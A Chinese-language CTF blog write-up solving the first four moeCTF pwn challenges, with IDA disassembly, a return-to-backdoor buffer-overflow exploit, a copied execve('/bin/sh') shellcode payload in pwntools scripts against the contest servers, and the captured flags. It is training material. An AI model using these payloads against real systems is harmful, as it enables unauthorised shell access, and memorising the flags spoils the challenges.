【moeCTF题解-0x02】Pwn


title: 【moeCTF题解-0x02】Pwn
categories:

  • CTF
  • moeCTF
    tags:
  • CTF

【moeCTF题解-0x02】Pwn

  _______ _                               _     _          __   _______          ___   _
 |__   __| |                             | |   | |        / _| |  __ \ \        / / \ | |
    | |  | |__   ___  __      _____  _ __| | __| |   ___ | |_  | |__) \ \  /\  / /|  \| |
    | |  | '_ \ / _ \ \ \ /\ / / _ \| '__| |/ _` |  / _ \|  _| |  ___/ \ \/  \/ / | . ` |
    | |  | | | |  __/  \ V  V / (_) | |  | | (_| | | (_) | |   | |      \  /\  /  | |\  |
    |_|  |_| |_|\___|   \_/\_/ \___/|_|  |_|\__,_|  \___/|_|   |_|       \/  \/   |_| \_|

pwn好像距离日常生活有一点遥远呢,学起来都是一些全新的知识,编程中防溢出倒是有关注过,但目的仅仅是为了防止程序不出错。当然“pwn!”的快感也是足够给力,可是tnl tnl tnl,moeCTF我仅做出来前4道题,感觉到现在连门都没有入……(这里可能因为学习成本的原因,后面的题必要的知识储备还没来得及学)


【moeCTF 题解】总目录如下:


4/10

Welcome to pwn

50points

欢迎来到pwn世界~

题目地址:nc sec.eqqie.cn 10006

Q&A

Q1 什么是pwn?
Q2 如何学习?
  1. 借助 ctfwiki,这是前辈们整理出来的纲要,针对性很强,但是对于入门而言可能有些不太友好。
  2. 使用搜索引擎,前人的理解和表达可能对你有很大的帮助。
  3. 在非比赛情况下,可以观摩他人的解题思路,但是在比赛情况下,这是违规行为!
  4. 市面上少量的出版书籍,但是这些书籍个人觉得对0基础新手并不友好。
Q3 需要什么基础?
  1. 基本的C语言
  2. 一点编译原理
  3. 一点Linux基础
  4. 一点python
  5. 都学得很好再玩不太现实,可以通过比赛来促进学习
Q4 怎样解题?
  1. 题目的二进制文件一般会被部署到服务器上,使用nc xx.xx.xx.xx(ip) xxxx(端口)命令可以与服务器进行交互。并且该二进制文件的副本(与服务器上的完全相同或者基本相同)将作为附件形式被提供给选手下载。
  2. 你需要逆向分析二进制文件副本中存在的可利用漏洞,针对其编写Exploit(漏洞利用脚本),然后向服务器发起攻击,拿到服务器上保存的flag文件或字符串,将其提交至本平台。
  3. 注意命令行中的nc并不是做题工具,你需要在Linux下安装pwntools库(或者其它),用于编写可用性较高的Exploit。至于如何安装,如何使用,就需要聪明的你发挥自己的学习能力啦~
  4. 本题作为示例,不提供二进制文件,只需要按照提示进行操作即可获得flag
Q5 我可以搅屎吗?
  • 拿到shell输入escape可以沙箱逃逸(×

解法:填满她!

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RbmoGir1-1604412067968)(【moeCTF题解-0x02】Pwn/image-20201010002007625.png)]

Great!好耶! 获得flag:moectf{W3lc0m3_t0_tH3_w0r1d_0f_PWN!}


Pwn从入门到入狱

50points

网络安全为人民,网络安全靠人民

学了PWN以后还请做一位守法的好公民(

开题,是一篇 arttnba3 大大写的Pwn从入门到入狱指南

通读全篇还是感觉有yi丶丶头大

先得到文章最后flag再说#(滑稽): moectf{0hhhhhhh_I_kn0w_hoW_t0_R3v3rs3!}

CTF TO LEARN, NOT LEARN TO CTF

为了拥有“能够getshell任意一台设备”的能力而努力吧!新生代的黑客们!


Baby pwn

100points

尝试实战一下

  • 第一个hint是小贴士
  • 实在没头绪就看看第二个hint (分数减半)

题目地址:nc sec.eqqie.cn 10003

首先运行一下

$ ./pwn1
Tell me your name: framist
Hello framist!

$ nc sec.eqqie.cn 10003
Tell me your name: arttnba3
Hello arttnba3!

:3 你好呀~

并没有flag相关的信息。


使用checksec指令查看程序的保护开启情况

checksec --file=pwn1
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified     Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   73 Symbols     No       0    pwn1

不知道为啥我的checksec跟其他人不太一样…


上IDA64,找到一些关键信息

.text:0000000000400676 ; __int64 backdoor(void)
.text:0000000000400676                 public _Z8backdoorv
.text:0000000000400676 _Z8backdoorv    proc near
.text:0000000000400676 ; __unwind {
.text:0000000000400676                 push    rbp
.text:0000000000400677                 mov     rbp, rsp
.text:000000000040067A                 mov     edi, offset command ; "/bin/sh"
.text:000000000040067F                 call    _system
.text:0000000000400684                 nop
.text:0000000000400685                 pop     rbp
.text:0000000000400686                 retn
.text:0000000000400686 ; } // starts at 400676
.text:0000000000400686 _Z8backdoorv    endp
.text:0000000000400686
.text:0000000000400687
.text:0000000000400687 ; =============== S U B R O U T I N E 
.text:0000000000400687
.text:0000000000400687 ; Attributes: bp-based frame
.text:0000000000400687
.text:0000000000400687 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400687                 public main
.text:0000000000400687 main            proc near               ; DATA XREF: _start+1D↑o
.text:0000000000400687
.text:0000000000400687 var_50          = qword ptr -50h
.text:0000000000400687 var_44          = dword ptr -44h
.text:0000000000400687 var_40          = byte ptr -40h
.text:0000000000400687
.text:0000000000400687 ; __unwind {
.text:0000000000400687                 push    rbp
.text:0000000000400688                 mov     rbp, rsp
.text:000000000040068B                 sub     rsp, 50h
.text:000000000040068F                 mov     [rbp+var_44], edi
.text:0000000000400692                 mov     [rbp+var_50], rsi
.text:0000000000400696                 mov     rax, cs:stdin@@GLIBC_2_2_5
.text:000000000040069D                 mov     ecx, 0          ; n
.text:00000000004006A2                 mov     edx, 2          ; modes
.text:00000000004006A7                 mov     esi, 0          ; buf
.text:00000000004006AC                 mov     rdi, rax        ; stream
.text:00000000004006AF                 call    _setvbuf
.text:00000000004006B4                 mov     rax, cs:__bss_start
.text:00000000004006BB                 mov     ecx, 0          ; n
.text:00000000004006C0                 mov     edx, 2          ; modes
.text:00000000004006C5                 mov     esi, 0          ; buf
.text:00000000004006CA                 mov     rdi, rax        ; stream
.text:00000000004006CD                 call    _setvbuf
.text:00000000004006D2                 mov     edi, offset format ; "Tell me your name: "
.text:00000000004006D7                 mov     eax, 0
.text:00000000004006DC                 call    _printf
.text:00000000004006E1                 lea     rax, [rbp+var_40]
.text:00000000004006E5                 mov     rsi, rax
.text:00000000004006E8                 mov     edi, offset aS  ; "%s"
.text:00000000004006ED                 mov     eax, 0
.text:00000000004006F2                 call    _scanf
.text:00000000004006F7                 lea     rax, [rbp+var_40]
.text:00000000004006FB                 mov     rsi, rax
.text:00000000004006FE                 mov     edi, offset aHelloS ; "Hello %s!"
.text:0000000000400703                 mov     eax, 0
.text:0000000000400708                 call    _printf
.text:000000000040070D                 mov     eax, 0
.text:0000000000400712                 leave
.text:0000000000400713                 retn
.text:0000000000400713 ; } // starts at 400687
.text:0000000000400713 main            endp
.text:0000000000400713
.text:0000000000400713 ; --------------------------------------------
.text:0000000000400714                 align 20h

其中两个关键函数的反编译如下:

  • 后门函数
int backdoor(void)
{
  return system("/bin/sh");
}
  • 主函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+10h] [rbp-40h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  printf("Tell me your name: ", 0LL, argv);
  scanf("%s", &v4);
  printf("Hello %s!", &v4);
  return 0;
}

这里发现scanf("%s", &v4)语句没有限制输入的长度,可以利用其进行溢出

于是构造playload如下:

# nc sec.eqqie.cn 10003
from pwn import *

p = remote('sec.eqqie.cn',10003)
p.recv()

sys_addr = p64(0x400676)
payload = b'A'*(0x40+8) + sys_addr
p.sendline(payload)

p.recv()

p.sendline('ls')
p.sendline('cat flag.txt')
p.interactive()
# 此处有疑问

运行此脚本可以get flag:moectf{a0e65c41-fe8a-4db9-a070-f6593a5858c3}

  • 注:这里我还有一些疑问:在上面这个脚本中如果getshell之后直接进入交互模式(p.interactive()),手动输入ls等指令,系统会自动在前面加上一个序号,如1: ls,导致指令不被执行,目前还不知道是什么原因。指望大佬相助。

Baby shellcode

100poins

你知道什么是shellcode吗? 题目地址:nc sec.eqqie.cn 10000

$ nc sec.eqqie.cn 10000
Show me your shellcode: I do not know what is shellcode

^C
  • 用IDA64打开,提示是32位程序,于是用32位的IDA打开(这里好像有点不对……
.text:08048080 ; =============== S U B R O U T I N E =======================================
.text:08048080
.text:08048080
.text:08048080                 public _start
.text:08048080 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048080                 xor     eax, eax
.text:08048082                 mov     edx, 18h        ; len
.text:08048087                 mov     ecx, offset msg ; addr
.text:0804808C                 mov     ebx, 1          ; fd
.text:08048091                 mov     eax, 4
.text:08048096                 int     80h             ; LINUX - sys_write
.text:08048098                 sub     esp, 100h
.text:0804809E                 mov     ebx, 0          ; fd
.text:080480A3                 mov     ecx, esp        ; addr
.text:080480A5                 mov     edx, 100h       ; len
.text:080480AA                 mov     eax, 3
.text:080480AF                 int     80h             ; LINUX - sys_read
.text:080480B1                 jmp     esp
.text:080480B1 _start          endp
.text:080480B1
.text:080480B1 ; ---------------------------------------------------------------------------
.text:080480B3                 db 0B8h
.text:080480B4                 dd 1
.text:080480B8                 db 0CDh, 80h
.text:080480B8 _text           ends
.text:080480B8
.data:080490BC ; ===========================================================================
.data:080490BC
.data:080490BC ; Segment type: Pure data
.data:080490BC ; Segment permissions: Read/Write
.data:080490BC _data           segment dword public 'DATA' use32
.data:080490BC                 assume cs:_data
.data:080490BC                 ;org 80490BCh
.data:080490BC msg             db  53h ; S             ; DATA XREF: LOAD:0804805C↑o
.data:080490BC                                         ; _start+7↑o
.data:080490BD                 db  68h ; h
.data:080490BE                 db  6Fh ; o
.data:080490BF                 db  77h ; w
.data:080490C0                 db  20h
.data:080490C1                 db  6Dh ; m
.data:080490C2                 db  65h ; e
.data:080490C3                 db  20h
.data:080490C4                 db  79h ; y
.data:080490C5                 db  6Fh ; o
.data:080490C6                 db  75h ; u
.data:080490C7                 db  72h ; r
.data:080490C8                 db  20h
.data:080490C9                 db  73h ; s
.data:080490CA                 db  68h ; h
.data:080490CB                 db  65h ; e
.data:080490CC                 db  6Ch ; l
.data:080490CD                 db  6Ch ; l
.data:080490CE                 db  63h ; c
.data:080490CF                 db  6Fh ; o
.data:080490D0                 db  64h ; d
.data:080490D1                 db  65h ; e
.data:080490D2                 db  3Ah ; :
.data:080490D3                 db  20h
.data:080490D4                 db  17h
.data:080490D4 _data           ends

试着反编译一下主程序:

void start()
{
  int v0; // eax
  int v1; // eax
  int v2; // [esp-100h] [ebp-100h]

  v0 = sys_write(1, &msg, 0x18u);
  v1 = sys_read(0, &v2, 0x100u);
  JUMPOUT(__CS__, &v2);
}

🤔没有发现什么名堂,可能真的是给它什么shellcode就行了叭

遂百度shellcode

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

——百度百科

shellcode就是一串可以返回shell的机器指令码,使得在没有写后门来getshell的程序中也能getshell,在linux上典型的有:
Linux/x86 - execve(/bin/sh) + Polymorphic Shellcode (48 bytes)

直接抄答案就行:

# nc sec.eqqie.cn 10000
from pwn import *

p = remote('sec.eqqie.cn',10000)
payload = b''

# shellcode
payload += b"\xeb\x11\x5e\x31\xc9\xb1\x32\x80"
payload += b"\x6c\x0e\xff\x01\x80\xe9\x01\x75"
payload += b"\xf6\xeb\x05\xe8\xea\xff\xff\xff"
payload += b"\x32\xc1\x51\x69\x30\x30\x74\x69"
payload += b"\x69\x30\x63\x6a\x6f\x8a\xe4\x51"
payload += b"\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"

p.sendline(payload)
p.sendline("ls")
p.sendline("cat flag.txt")
p.interactive()

运行得到flag:moectf{D0_yoU_kN0w_she11c0d3?}

更多相关知识参考从0开始CTF-PWN(三)没有system怎么办?构造你的shellcode,写的非常详尽。



接下来的题都没做了。感觉前面几题也做得一知半解,有待慢慢入门……



未完待续……

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

框架主义者

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值